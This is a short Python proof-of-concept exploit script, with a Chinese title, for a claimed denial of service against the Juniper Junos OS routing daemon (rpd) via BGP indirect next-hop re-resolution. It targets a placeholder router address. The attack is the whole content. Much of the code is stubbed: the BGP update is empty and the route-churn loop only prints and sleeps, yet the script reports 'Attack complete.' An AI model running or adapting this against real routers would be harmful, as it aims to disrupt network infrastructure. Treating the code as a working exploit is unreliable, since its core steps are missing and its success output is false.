CVE-2025-59962 Juniper Junos OS rpd未初始化指针访问拒绝服务漏洞

#!/usr/bin/env python3 """ CVE-2025-59962 - Juniper Junos OS rpd Uninitialized Pointer DoS PoC This PoC demonstrates the concept of triggering BGP indirect next-hop re-resolution to cause rpd crash via uninitialized pointer access. Note: This requires: 1. Adjacent network access to the target Juniper device 2. BGP sharding enabled on the target 3. BGP session established with the target 4. Indirect next-hop routes configured """ import time import random from scapy.all import IP, TCP, BGP, send, sr1 TARGET_IP = "192.168.1.1" # Target Juniper device BGP_PORT = 179 LOCAL_AS = 65001 TARGET_AS = 65000 def establish_bgp_session(): """Establish BGP session with the target router""" # TCP three-way handshake syn = IP(dst=TARGET_IP) / TCP(dport=BGP_PORT, sport=random.randint(1024, 65535), flags="S") syn_ack = sr1(syn, timeout=5) if syn_ack: ack = IP(dst=TARGET_IP) / TCP(dport=BGP_PORT, sport=syn_ack[TCP].dport, seq=syn_ack[TCP].ack + 1, ack=syn_ack[TCP].seq + 1, flags="A") send(ack) print("[+] TCP session established") return True return False def advertise_indirect_nexthop(): """Advertise BGP routes with indirect next-hop""" # Advertise routes that will require IGP-based next-hop resolution bgp_update = BGP() # BGP UPDATE message with NLRI pointing to indirect next-hop print("[+] Advertising BGP routes with indirect next-hop") # In real scenario, use ExaBGP or similar tool to send BGP updates return True def trigger_igp_route_churn(): """Trigger IGP route changes to cause BGP re-resolution""" print("[*] Triggering IGP route churn to force BGP re-resolution...") for i in range(100): # Send OSPF LSA updates or IS-IS LSPs to cause route changes # This forces rpd to re-resolve indirect next-hops print(f"[*] Route churn iteration {i+1}/100") time.sleep(0.1) # Random timing to hit the uninitialized pointer window def main(): print("=" * 60) print("CVE-2025-59962 PoC - Juniper rpd DoS") print("=" * 60) if not establish_bgp_session(): print("[-] Failed to establish BGP session") return if not advertise_indirect_nexthop(): print("[-] Failed to advertise routes") return print("[+] Waiting for BGP convergence...") time.sleep(30) trigger_igp_route_churn() print("[+] Attack complete - check if rpd has crashed") if __name__ == "__main__": main()